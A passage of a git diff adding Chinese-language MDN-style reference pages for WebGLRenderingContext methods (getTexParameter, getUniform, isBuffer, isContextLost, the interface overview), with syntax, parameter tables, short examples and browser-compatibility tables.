OES_vertex_array_object{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_color_buffer_float{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_compressed_texture_atc{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_compressed_texture_etc1{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_compressed_texture_pvrtc{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_compressed_texture_s3tc{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_debug_renderer_info{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_debug_shaders{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_depth_texture{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_draw_buffers{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_lose_context{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

[1] Toggling the webgl.enable-draft-extensions preference in about:config is required.

+ +

[2] This was prefixed as MOZ_EXT_texture_filter_anisotropic in prior versions.

+ +

浏览其他相关资源

+ + diff --git a/files/zh-cn/web/api/webglrenderingcontext/gettexparameter/index.html b/files/zh-cn/web/api/webglrenderingcontext/gettexparameter/index.html new file mode 100644 index 0000000000..b37ddcbe37 --- /dev/null +++ b/files/zh-cn/web/api/webglrenderingcontext/gettexparameter/index.html @@ -0,0 +1,203 @@ +--- +title: WebGLRenderingContext.getTexParameter() +slug: Web/API/WebGLRenderingContext/getTexParameter +tags: + - API + - WebGL + - WebGL渲染上下文 + - 引用 + - 方法 + - 纹理 +translation_of: Web/API/WebGLRenderingContext/getTexParameter +--- +
{{APIRef("WebGL")}}
+ +

WebGLRenderingContext.getTexParameter() 此WebGL API方法返回特定的纹理信息。

+ +

语法

+ +
any gl.getTexParameter(target, pname);
+
+ +

参数

+ +
+
target
+
一个 {{domxref("GLenum")}} 接口类型的绑定的点(target). 可能的值有: +
    +
  • gl.TEXTURE_2D: 一个二维纹理.
  • +
  • gl.TEXTURE_CUBE_MAP: 一个立方体纹理.
  • +
  • 当使用 {{domxref("WebGL2RenderingContext", "WebGL 2 context", "", 1)}}接口, 可能会出现以下值: +
      +
    • gl.TEXTURE_3D: 一个三维纹理.
    • +
    • gl.TEXTURE_2D_ARRAY: 一个二维纹理数组.
    • +
    +
  • +
+
+
pname
+
一个{{domxref("Glenum")}}接口类型的要查询的信息. 可能的值有: + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
pname返回的类型描述可能返回的值
可用的WebGL 1的上下文
gl.TEXTURE_MAG_FILTER{{domxref("GLenum")}}纹理的放大滤镜gl.LINEAR (default value), gl.NEAREST.
gl.TEXTURE_MIN_FILTER{{domxref("GLenum")}}纹理的缩小滤镜gl.LINEAR, gl.NEAREST, gl.NEAREST_MIPMAP_NEAREST, gl.LINEAR_MIPMAP_NEAREST, gl.NEAREST_MIPMAP_LINEAR (default value), gl.LINEAR_MIPMAP_LINEAR.
gl.TEXTURE_WRAP_S{{domxref("GLenum")}} +

封装的纹理坐标方法s(对应u坐标)

+
gl.REPEAT (default value), gl.CLAMP_TO_EDGE, gl.MIRRORED_REPEAT.
gl.TEXTURE_WRAP_T{{domxref("GLenum")}}封装的纹理坐标方法 t(对应v坐标)gl.REPEAT (default value), gl.CLAMP_TO_EDGE, gl.MIRRORED_REPEAT.
使用 {{domxref("EXT_texture_filter_anisotropic")}} 接口增加可用的扩展方法/属性
ext.TEXTURE_MAX_ANISOTROPY_EXT{{domxref("GLfloat")}}纹理所有方向的最大值一个浮点型的任意值.
使用WebGL 2上下文之后增加的可用方法/属性
gl.TEXTURE_BASE_LEVEL{{domxref("GLint")}}纹理贴图层级一个整型任意值.
gl.TEXTURE_COMPARE_FUNC{{domxref("GLenum")}}比较方法gl.LEQUAL (default value), gl.GEQUAL, gl.LESS, gl.GREATER, gl.EQUAL, gl.NOTEQUAL, gl.ALWAYS, gl.NEVER.
gl.TEXTURE_COMPARE_MODE{{domxref("GLenum")}}纹理的比较模式gl.NONE (default value), gl.COMPARE_REF_TO_TEXTURE.
gl.TEXTURE_IMMUTABLE_FORMAT{{domxref("GLboolean")}}纹理的格式和尺寸是否可变true 或者 false.
gl.TEXTURE_IMMUTABLE_LEVELS{{domxref("GLuint")}}纹理的可变等级无符号整型任意值.
gl.TEXTURE_MAX_LEVEL{{domxref("GLint")}}贴图数组层级的最大值整型任意值.
gl.TEXTURE_MAX_LOD{{domxref("GLfloat")}}纹理细致程度的最大值浮点型任意值.
gl.TEXTURE_MIN_LOD{{domxref("GLfloat")}}纹理细致程度的最小值浮点型任意值.
gl.TEXTURE_WRAP_R{{domxref("GLenum")}}封装的纹理坐标方法 rgl.REPEAT (default value), gl.CLAMP_TO_EDGE, gl.MIRRORED_REPEAT.
+
+
+ +

返回值

+ +

返回需要的纹理信息 (和 pname类型相同). 如果发生错误, 就返回{{jsxref("null")}}.

+ +

示例

+ +
gl.getTexParameter(gl.TEXTURE_2D, gl.TEXTURE_MAG_FILTER);
+
+ +

说明

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
说明状态备注
{{SpecName('WebGL', "#5.14.8", "getTexParameter")}}{{Spec2('WebGL')}}最初的WebGL的定义.
{{SpecName('OpenGL ES 2.0', "glGetTexParameter.xml", "glGetTexParameter")}}{{Spec2('OpenGL ES 2.0')}}OpenGL ES 2.0 API的主页(相似).
{{SpecName('WebGL2', "#3.7.6", "getTexParameter")}}{{Spec2('WebGL2')}}升级的WebGL定义.
{{SpecName('OpenGL ES 3.0', "glGetTexParameter.xhtml", "glGetTexParameter")}}{{Spec2('OpenGL ES 3.0')}}OpenGL ES 3.0 API的主页(相似).
+ +

浏览器兼容性

+ + + +

{{Compat("api.WebGLRenderingContext.getTexParameter")}}

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/webglrenderingcontext/getuniform/index.html b/files/zh-cn/web/api/webglrenderingcontext/getuniform/index.html new file mode 100644 index 0000000000..924ee123be --- /dev/null +++ b/files/zh-cn/web/api/webglrenderingcontext/getuniform/index.html @@ -0,0 +1,213 @@ +--- +title: WebGLRenderingContext.getUniform() +slug: Web/API/WebGLRenderingContext/getUniform +translation_of: Web/API/WebGLRenderingContext/getUniform +--- +
{{APIRef("WebGL")}}
+ +
WebGL APIWebGLRenderingContext.getUniform() 方法返回指定位置的全局变量的值。
+ +

语法

+ +
any gl.getUniform(program, location);
+
+ +

参数

+ +
+
program
+
包含全局变量的一个{{domxref("WebGLProgram")}}。
+
location
+
包含要获取的全局变量位置的 {{domxref("WebGLUniformLocation")}} 对象。
+
+ +

返回值

+ +

返回的类型取决于全局变量的类型:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
变量类型(着色器内)返回值类型
在WebGL 1中支持的
boolean{{domxref("GLBoolean")}}
int{{domxref("GLint")}}
float{{domxref("GLfloat")}}
vec2{{jsxref("Float32Array")}} (with 2 elements)
ivec2{{jsxref("Int32Array")}} (with 2 elements)
bvec2{{jsxref("Array")}} of {{domxref("GLBoolean")}} (with 2 elements)
vec3{{jsxref("Float32Array")}} (with 3 elements)
ivec3{{jsxref("Int32Array")}} (with 3 elements)
bvec3{{jsxref("Array")}} of {{domxref("GLBoolean")}} (with 3 elements)
vec4{{jsxref("Float32Array")}} (with 4 elements)
ivec4{{jsxref("Int32Array")}} (with 4 elements)
bvec4{{jsxref("Array")}} of {{domxref("GLBoolean")}} (with 4 elements)
mat2{{jsxref("Float32Array")}} (with 4 elements)
mat3{{jsxref("Float32Array")}} (with 9 elements)
mat4{{jsxref("Float32Array")}} (with 16 elements)
sampler2D{{domxref("GLint")}}
samplerCube{{domxref("GLint")}}
在WebGL 2中新增支持的
uint{{domxref("GLuint")}}
uvec2{{jsxref("Uint32Array")}} (with 2 elements)
uvec3{{jsxref("Uint32Array")}} (with 3 elements)
uvec4{{jsxref("Uint32Array")}} (with 4 elements)
mat2x3{{jsxref("Float32Array")}} (with 6 elements)
mat2x4{{jsxref("Float32Array")}} (with 8 elements)
mat3x2{{jsxref("Float32Array")}} (with 6 elements)
mat3x4{{jsxref("Float32Array")}} (with 12 elements)
mat4x2{{jsxref("Float32Array")}} (with 8 elements)
mat4x3{{jsxref("Float32Array")}} (with 12 elements)
any sampler type{{domxref("GLint")}}
+ +

示例

+ +
var loc = gl.getUniformLocation(program, 'u_foobar');
+gl.getUniform(program, loc);
+
+//code in vertex-shader
+//...
+//uniform mat4 uNormalMatrix;
+//...
+//gl.getUniform(program,gl.getUniformLocation(program,"uNormalMatrix"))
+//>Float32Array(16) [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
规范状态注解
{{SpecName('WebGL', "#5.14.10", "getUniform")}}{{Spec2('WebGL')}}Initial definition for WebGL.
{{SpecName('OpenGL ES 2.0', "glGetUniform.xml", "glGetUniform")}}{{Spec2('OpenGL ES 2.0')}}Man page of the (similar) OpenGL ES 2 API.
{{SpecName('WebGL2', "#3.7.8", "getUniform")}}{{Spec2('WebGL2')}}Updated definition for WebGL.
{{SpecName('OpenGL ES 3.0', "glGetUniform.xhtml", "glGetUniform")}}{{Spec2('OpenGL ES 3.0')}}Man page of the (similar) OpenGL ES 3 API.
+ +

浏览器兼容性

+ + + +

{{Compat("api.WebGLRenderingContext.getUniform")}}

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/webglrenderingcontext/index.html b/files/zh-cn/web/api/webglrenderingcontext/index.html new file mode 100644 index 0000000000..35b83bd3dc --- /dev/null +++ b/files/zh-cn/web/api/webglrenderingcontext/index.html @@ -0,0 +1,367 @@ +--- +title: WebGLRenderingContext +slug: Web/API/WebGLRenderingContext +tags: + - WebGL + - WebGLRenderingContext +translation_of: Web/API/WebGLRenderingContext +--- +
{{APIRef("WebGL")}}
+ +

WebGLRenderingContext 接口提供基于 OpenGL ES 2.0 的绘图上下文,用于在 HTML {{HTMLElement("canvas")}} 元素内绘图。 

+ +

要获得这个接口的对象,可以通过在 <canvas> 元素上调用 {{domxref("HTMLCanvasElement.getContext()", "getContext()")}} 函数,调用时传入 “webgl” 参数:

+ +
var canvas = document.getElementById('myCanvas');
+var gl = canvas.getContext('webgl');
+
+ +

当你获取到 canvas 元素的 WebGL 绘图上下文,你便可以在里面绘图。

+ +

点击 WebGL tutorial 获取更多资料,例子,和关于如何开始WebGL编程的知识。

+ +
+

补充:以下内容很多函数都没有提供参数,所以最好还是参见具体API。

+
+ +

常量

+ +

请参考 WebGL constants 。

+ +

WebGL上下文

+ +

以下的属性和方法提供只读的关于上下文的信息:

+ +
+
{{domxref("WebGLRenderingContext.canvas")}}
+
只读属性,对 {{domxref("HTMLCanvasElement")}} 的向后引用。如果上下文没有相联系的 {{HTMLElement("canvas")}} 元素,值将会为 {{jsxref("null")}}。
+
{{domxref("WebGLRenderingContext.commit()")}} {{experimental_inline}}
+
+

如果上下文没有指定的canvas,把帧交给原始的{{domxref("HTMLCanvasElement")}}元素。

+
+
{{domxref("WebGLRenderingContext.drawingBufferWidth")}}
+
只读属性,当前绘图缓冲区的宽度,等于和该上下文相联系的 canvas 元素的宽度。
+
{{domxref("WebGLRenderingContext.drawingBufferHeight")}}
+
只读属性,当前绘图缓冲区的高度,等于和该上下文相联系的 canvas 元素的高度。
+
{{domxref("WebGLRenderingContext.getContextAttributes()")}}
+
返回 WebGLContextAttributes 对象,该对象包含真实的上下文参数。如果上下文丢失,将会返回 {{jsxref("null")}}。
+
{{domxref("WebGLRenderingContext.isContextLost()")}}
+
如果上下文丢失,返回true;否则,返回 false。
+
+ +

视野和裁剪

+ +
+
{{domxref("WebGLRenderingContext.scissor()")}}
+
设置裁剪框。
+
{{domxref("WebGLRenderingContext.viewport()")}}
+
设置视口。
+
+ +

状态信息

+ +
+
{{domxref("WebGLRenderingContext.activeTexture()")}}
+
选择要激活的纹理单元。
+
{{domxref("WebGLRenderingContext.blendColor()")}}
+
设置源和目标的混和因子。
+
{{domxref("WebGLRenderingContext.blendEquation()")}}
+
用同一个表达式设置 RGB 混和表达式和 alpha 混和表达式。
+
{{domxref("WebGLRenderingContext.blendEquationSeparate()")}}
+
分开设置 RGB 混和表达式和 alpha 混和表达式。
+
{{domxref("WebGLRenderingContext.blendFunc()")}}
+
定义用于像素混合算法的函数。
+
{{domxref("WebGLRenderingContext.blendFuncSeparate()")}}
+
分别定义混合像素RGB通道和透明通道的函数。
+
{{domxref("WebGLRenderingContext.clearColor()")}}
+
设置用于清空用的颜色。
+
{{domxref("WebGLRenderingContext.clearDepth()")}}
+
设置清除深度缓存时的深度值。
+
{{domxref("WebGLRenderingContext.clearStencil()")}}
+
设置清除模板缓冲区时的模板值。
+
{{domxref("WebGLRenderingContext.colorMask()")}}
+
设置在绘制或渲染{{domxref("WebGLFramebuffer")}}时要开启或关闭的颜色分量。
+
{{domxref("WebGLRenderingContext.cullFace()")}}
+
设置多边形的正面和/或反面是否要被排除。
+
{{domxref("WebGLRenderingContext.depthFunc()")}}
+
设置比较输入像素深度和深度缓存值得函数。
+
{{domxref("WebGLRenderingContext.depthMask()")}}
+
设置是否写入深度缓存。
+
{{domxref("WebGLRenderingContext.depthRange()")}}
+
设置从规范化设备坐标映射到窗口或视口坐标时的深度范围。
+
{{domxref("WebGLRenderingContext.disable()")}}
+
禁用这个上下文的WebGL功能。
+
{{domxref("WebGLRenderingContext.enable()")}}
+
启用这个上下文的WebGL功能。
+
{{domxref("WebGLRenderingContext.frontFace()")}}
+
设置多边形的正面使用顺时针还是逆时针绘制表示。
+
{{domxref("WebGLRenderingContext.getParameter()")}}
+
返回给入参数名的值。
+
{{domxref("WebGLRenderingContext.getError()")}}
+
返回错误信息。
+
{{domxref("WebGLRenderingContext.hint()")}}
+
给某些行为设置建议使用的模式。具体建议需要看执行的情况。
+
{{domxref("WebGLRenderingContext.isEnabled()")}}
+
测试这个上下文的WebGL功能是否开启。
+
{{domxref("WebGLRenderingContext.lineWidth()")}}
+
设置线宽。
+
{{domxref("WebGLRenderingContext.pixelStorei()")}}
+
设置像素存储模式。
+
{{domxref("WebGLRenderingContext.polygonOffset()")}}
+
设置多边形偏移的比例和单位,从而计算深度值。(补充:解决深度冲突)
+
{{domxref("WebGLRenderingContext.sampleCoverage()")}}
+
为抗锯齿效果设置多重取样覆盖参数。
+
{{domxref("WebGLRenderingContext.stencilFunc()")}}
+
同时设置前面和背面的模板测试函数,及其引用值。
+
{{domxref("WebGLRenderingContext.stencilFuncSeparate()")}}
+
可分开设置前面或背面的模板测试函数,及其引用值。
+
{{domxref("WebGLRenderingContext.stencilMask()")}}
+
同时启用或禁用,前面和背面的模板测试掩码。
+
{{domxref("WebGLRenderingContext.stencilMaskSeparate()")}}
+
可分开启用或禁用,前面和背面的模板测试掩码。
+
{{domxref("WebGLRenderingContext.stencilOp()")}}
+
同时设置,在前面和背面的模板缓冲区上执行的操作。
+
{{domxref("WebGLRenderingContext.stencilOpSeparate()")}}
+
可分开设置,在前面和背面的模板缓冲区上执行的操作。
+
+ +

缓冲区

+ +
+
{{domxref("WebGLRenderingContext.bindBuffer()")}}
+
把 WebGLBuffer 对象绑定到指定目标上。
+
{{domxref("WebGLRenderingContext.bufferData()")}}
+
更新缓冲数据。
+
{{domxref("WebGLRenderingContext.bufferSubData()")}}
+
更新从给入偏移量开始的缓冲数据。
+
{{domxref("WebGLRenderingContext.createBuffer()")}}
+
创建 WebGLBuffer 对象。
+
{{domxref("WebGLRenderingContext.deleteBuffer()")}}
+
删除 WebGLBuffer 对象。
+
{{domxref("WebGLRenderingContext.getBufferParameter()")}}
+
返回缓冲信息。
+
{{domxref("WebGLRenderingContext.isBuffer()")}}
+
返回给入的缓冲是否有效。
+
+ +

帧缓冲区

+ +
+
{{domxref("WebGLRenderingContext.bindFramebuffer()")}}
+
把 WebGLFrameBuffer 对象绑定到指定对象上。
+
{{domxref("WebGLRenderingContext.checkFramebufferStatus()")}}
+
返回帧缓冲区的状态。
+
{{domxref("WebGLRenderingContext.createFramebuffer()")}}
+
创建 WebGLFrameBuffer 对象。
+
{{domxref("WebGLRenderingContext.deleteFramebuffer()")}}
+
删除 WebGLFrameBuffer 对象。
+
{{domxref("WebGLRenderingContext.framebufferRenderbuffer()")}}
+
把 WebGLRenderingBuffer 对象附加到 WebGLFrameBuffer 对象。
+
{{domxref("WebGLRenderingContext.framebufferTexture2D()")}}
+
把纹理图像附加到 WebGLFrameBuffer object.
+
{{domxref("WebGLRenderingContext.getFramebufferAttachmentParameter()")}}
+
返回帧缓冲区的信息。
+
{{domxref("WebGLRenderingContext.isFramebuffer()")}}
+
返回 Boolean 值,表示给入的 WebGLFrameBuffer 对象是否有效。
+
{{domxref("WebGLRenderingContext.readPixels()")}}
+
读取 WebGLFrameBuffer 的像素。
+
+ +

渲染缓冲区

+ +
+
{{domxref("WebGLRenderingContext.bindRenderbuffer()")}}
+
把 WebGLRenderBuffer 对象绑定到指定的对象上。
+
{{domxref("WebGLRenderingContext.createRenderbuffer()")}}
+
创建 WebGLRenderBuffer 对象。
+
{{domxref("WebGLRenderingContext.deleteRenderbuffer()")}}
+
删除 WebGLRenderBuffer 对象。
+
{{domxref("WebGLRenderingContext.getRenderbufferParameter()")}}
+
返回渲染缓冲区的信息。
+
{{domxref("WebGLRenderingContext.isBuffer()")}}
+
返回 Boolean 值,表示给入的 WebGLRenderingBuffer 是否有效。
+
{{domxref("WebGLRenderingContext.renderbufferStorage()")}}
+
创建渲染缓冲区数据存储。
+
+ +

纹理

+ +
+
{{domxref("WebGLRenderingContext.bindTexture()")}}
+
把 WebGLTexture 对象绑定到指定对象上。
+
{{domxref("WebGLRenderingContext.compressedTexImage2D()")}}
+
指定一个为压缩格式的2D纹理图片。
+
{{domxref("WebGLRenderingContext.compressedTexSubImage2D()")}}
+
指定一个为压缩格式的2D纹理子图片。
+
{{domxref("WebGLRenderingContext.copyTexImage2D()")}}
+
复制2D纹理图片。
+
{{domxref("WebGLRenderingContext.copyTexSubImage2D()")}}
+
复制2D纹理子图片。
+
{{domxref("WebGLRenderingContext.createTexture()")}}
+
创建 WebGLTexture 对象。
+
{{domxref("WebGLRenderingContext.deleteTexture()")}}
+
删除 WebGLTexture 对象。
+
{{domxref("WebGLRenderingContext.generateMipmap()")}}
+
为 WebGLTexture 对象生成一组纹理映射。
+
{{domxref("WebGLRenderingContext.getTexParameter()")}}
+
返回纹理信息。
+
{{domxref("WebGLRenderingContext.isTexture()")}}
+
返回 Boolean 值,表示给入的 WebGLTexture 是否有效。
+
{{domxref("WebGLRenderingContext.texImage2D()")}}
+
指定2D纹理图片。
+
{{domxref("WebGLRenderingContext.texSubImage2D()")}}
+
更新当前 WebGLTexture 的子矩形。
+
{{domxref("WebGLRenderingContext.texParameterf()")}}
+
设置纹理参数。
+
{{domxref("WebGLRenderingContext.texParameteri()")}}
+
设置纹理参数。
+
+ +

程序对象和着色器对象

+ +
+
{{domxref("WebGLRenderingContext.attachShader()")}}
+
把 WebGLShader 添加到 WebGLProgram。
+
{{domxref("WebGLRenderingContext.bindAttribLocation()")}}
+
绑定一个普通顶点索引到一个命名的attribute 变量
+
{{domxref("WebGLRenderingContext.compileShader()")}}
+
编译 WebGLShader。
+
{{domxref("WebGLRenderingContext.createProgram()")}}
+
创建 WebGLProgram。
+
{{domxref("WebGLRenderingContext.createShader()")}}
+
创建 WebGLShader。
+
{{domxref("WebGLRenderingContext.deleteProgram()")}}
+
删除 WebGLProgram。
+
{{domxref("WebGLRenderingContext.deleteShader()")}}
+
删除 WebGLShader。
+
{{domxref("WebGLRenderingContext.detachShader()")}}
+
分离 WebGLShader。
+
{{domxref("WebGLRenderingContext.getAttachedShaders()")}}
+
返回附加在 WebGLProgram 上的 WebGLShader 对象的列表。
+
{{domxref("WebGLRenderingContext.getProgramParameter()")}}
+
返回程序对象的信息。
+
{{domxref("WebGLRenderingContext.getProgramInfoLog()")}}
+
返回 WebGLProgram 对象的信息日志。
+
{{domxref("WebGLRenderingContext.getShaderParameter()")}}
+
返回着色器的信息。
+
{{domxref("WebGLRenderingContext.getShaderPrecisionFormat()")}}
+
返回一个描述着色器数字类型精度的WebGLShaderPrecisionFormat 对象。
+
{{domxref("WebGLRenderingContext.getShaderInfoLog()")}}
+
返回 WebGLShader 对象的信息日志。
+
{{domxref("WebGLRenderingContext.getShaderSource()")}}
+
以字符串形式返回 WebGLShader 的源码。
+
{{domxref("WebGLRenderingContext.isProgram()")}}
+
返回一个 Boolean 值,表示给入的 WebGLProgram 是否有效。
+
{{domxref("WebGLRenderingContext.isShader()")}}
+
返回一个 Boolean 值,表示给入的 WebGLShader 是否有效。
+
{{domxref("WebGLRenderingContext.linkProgram()")}}
+
链接给入的 WebGLProgram 对象。
+
{{domxref("WebGLRenderingContext.shaderSource()")}}
+
设置一个 WebGLShader 的源码。
+
{{domxref("WebGLRenderingContext.useProgram()")}}
+
使用指定的 WebGLProgram 作为当前渲染状态的一部分。
+
{{domxref("WebGLRenderingContext.validateProgram()")}}
+
使 WebGLProgram 生效。
+
+ +

Uniform 和 Attribute

+ +
+
{{domxref("WebGLRenderingContext.disableVertexAttribArray()")}}
+
在给定的位置,禁用顶点attribute数组。
+
{{domxref("WebGLRenderingContext.enableVertexAttribArray()")}}
+
在给定的位置,启用顶点attribute数组。
+
{{domxref("WebGLRenderingContext.getActiveAttrib()")}}
+
返回激活状态的attribute变量信息。
+
{{domxref("WebGLRenderingContext.getActiveUniform()")}}
+
返回激活状态的uniform 变量信息。
+
{{domxref("WebGLRenderingContext.getAttribLocation()")}}
+
返回attribute变量的指针位置。
+
{{domxref("WebGLRenderingContext.getUniform()")}}
+
返回指定位置的uniform 变量。
+
{{domxref("WebGLRenderingContext.getUniformLocation()")}}
+
返回uniform 变量的指针位置。
+
{{domxref("WebGLRenderingContext.getVertexAttrib()")}}
+
返回指定位置的顶点attribute变量。
+
{{domxref("WebGLRenderingContext.getVertexAttribOffset()")}}
+
获取给定索引的顶点attribute位置。
+
{{domxref("WebGLRenderingContext.uniform()", "WebGLRenderingContext.uniform[1234][fi][v]()")}}
+
指定一个uniform变量。
+
{{domxref("WebGLRenderingContext.uniformMatrix()", "WebGLRenderingContext.uniformMatrix[234]fv()")}}
+
指定一个uniform矩阵变量。
+
{{domxref("WebGLRenderingContext.vertexAttrib()", "WebGLRenderingContext.vertexAttrib[1234]f[v]()")}}
+
指定一个普通顶点attribute的值。
+
{{domxref("WebGLRenderingContext.vertexAttribPointer()")}}
+
指定一个顶点attributes 数组中,顶点attributes 变量的数据格式和位置。
+
+ +

绘制缓冲区

+ +
+
{{domxref("WebGLRenderingContext.clear()")}}
+
把指定的缓冲区清空为预设的值。
+
{{domxref("WebGLRenderingContext.drawArrays()")}}
+
渲染数组中的原始数据。
+
{{domxref("WebGLRenderingContext.drawElements()")}}
+
渲染元素数组中的原始数据。
+
{{domxref("WebGLRenderingContext.finish()")}}
+
阻断执行,直到之前所有的操作都完成。
+
{{domxref("WebGLRenderingContext.flush()")}}
+
清空缓冲的命令,这会导致所有命令尽快执行完。
+
+ +

使用扩展插件

+ +

这些方法管理 WebGL 扩展:

+ +
+
{{domxref("WebGLRenderingContext.getSupportedExtensions()")}}
+
返回一个包含 {{domxref("DOMString")}} 的 {{jsxref("Array")}} ,每个元素都为支持的WebGL扩展。
+
{{domxref("WebGLRenderingContext.getExtension()")}}
+
返回一个扩展对象。
+
+ +

示例

+ +

检测 WebGL 上下文特性支持

+ +

{{page("/zh-CN/Learn/WebGL/By_example/Detect_WebGL", "summary")}}

+ +

{{page("/zh-CN/Learn/WebGL/By_example/Detect_WebGL", "detect-webgl-source")}}

+ +

{{EmbedLiveSample("detect-webgl-source", 660,150 ,"" , "Learn/WebGL/By_example/Detect_WebGL")}}

+ +

Canvas 尺寸对使用 WebGL 渲染的影响

+ +

{{page("/zh-CN/Learn/WebGL/By_example/Canvas_size_and_WebGL", "canvas-size-and-webgl-intro")}}

+ +

{{page("/zh-CN/Learn/WebGL/By_example/Canvas_size_and_WebGL", "canvas-size-and-webgl-source")}}

+ +

{{EmbedLiveSample("canvas-size-and-webgl-source", 660,180 ,"" , "Learn/WebGL/By_example/Canvas_size_and_WebGL")}}

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebGL', "#5.14", "WebGLRenderingContext")}}{{Spec2('WebGL')}}原始定义
+ +

浏览器兼容性

+ +

{{Compat("api/WebGLRenderingContext", "WebGLRenderingContext")}}

+ +

相关内容

+ + diff --git a/files/zh-cn/web/api/webglrenderingcontext/isbuffer/index.html b/files/zh-cn/web/api/webglrenderingcontext/isbuffer/index.html new file mode 100644 index 0000000000..dfe9026b22 --- /dev/null +++ b/files/zh-cn/web/api/webglrenderingcontext/isbuffer/index.html @@ -0,0 +1,124 @@ +--- +title: WebGLRenderingContext.isBuffer() +slug: Web/API/WebGLRenderingContext/isBuffer +translation_of: Web/API/WebGLRenderingContext/isBuffer +--- +
{{APIRef("WebGL")}}
+ +

WebGLRenderingContext.isBuffer() 是 WebGL API 的方法之一。如果传递的 {{domxref("WebGLBuffer")}} 有效则返回 true,否则返回 false。

+ +

句法

+ +
GLboolean gl.isBuffer(buffer);
+
+ +

参数

+ +
+
buffer (缓冲区)
+
需要检查的 {{domxref("WebGLBuffer")}} 。
+
+ +

返回值

+ +

{{domxref("GLboolean")}} 指示 buffer 是否可用。

+ +

示例

+ +

创建一个缓冲区 (buffer)

+ +
var canvas = document.getElementById("canvas");
+var gl = canvas.getContext("webgl");
+var buffer = gl.createBuffer();
+
+gl.isBuffer(buffer);
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebGL', "#5.14.5", "isBuffer")}}{{Spec2('WebGL')}}Initial definition.
{{SpecName('OpenGL ES 2.0', "glIsBuffer.xml", "glIsBuffer")}}{{Spec2('OpenGL ES 2.0')}}Man page of the OpenGL API.
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatChrome("9")}}12{{CompatGeckoDesktop("2.0")}}11{{CompatOpera("12")}}{{CompatSafari("5.1")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}25{{CompatVersionUnknown}}{{CompatGeckoMobile("2.0")}}1.0{{CompatUnknown}}128.0
+
+ +

另见

+ + diff --git a/files/zh-cn/web/api/webglrenderingcontext/iscontextlost/index.html b/files/zh-cn/web/api/webglrenderingcontext/iscontextlost/index.html new file mode 100644 index 0000000000..d8135d7364 --- /dev/null +++ b/files/zh-cn/web/api/webglrenderingcontext/iscontextlost/index.html @@ -0,0 +1,58 @@ +--- +title: WebGLRenderingContext.isContextLost() +slug: Web/API/WebGLRenderingContext/isContextLost +tags: + - WebGL上下文丢失 +translation_of: Web/API/WebGLRenderingContext/isContextLost +--- +
{{APIRef("WebGL")}}
+ +

WebGLRenderingContext.isContextLost() 方法返回一个{{jsxref("Boolean")}} 标记WebGL的上下文是否已经丢失。

+ +

语法

+ +
gl.isContextLost();
+ +

返回值

+ +

 {{jsxref("Boolean")}}。如果上下文丢失则返回true,否则返回false。

+ +

样例

+ +

比如,当检查程序链接成功时,你也可以检查是否上下文已经丢失。

+ +
gl.linkProgram(program);
+
+if (!gl.getProgramParameter(program, gl.LINK_STATUS) && !gl.isContextLost()) {
+  var info = gl.getProgramInfoLog(program);
+  console.log('Error linking program:\n' + info);
+}
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("WebGL", "#5.14.13", "WebGLRenderingContext.isContextLost")}}{{Spec2("WebGL")}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.WebGLRenderingContext.isContextLost")}}

+ +

另见

+ + diff --git a/files/zh-cn/web/api/webglrenderingcontext/isenabled/index.html b/files/zh-cn/web/api/webglrenderingcontext/isenabled/index.html new file mode 100644 index 0000000000..9c87ead999 --- /dev/null +++ b/files/zh-cn/web/api/webglrenderingcontext/isenabled/index.html @@ -0,0 +1,193 @@ +--- +title: WebGLRenderingContext.isEnabled() +slug: Web/API/WebGLRenderingContext/isEnabled +translation_of: Web/API/WebGLRenderingContext/isEnabled +--- +
{{APIRef("WebGL")}}
+ +

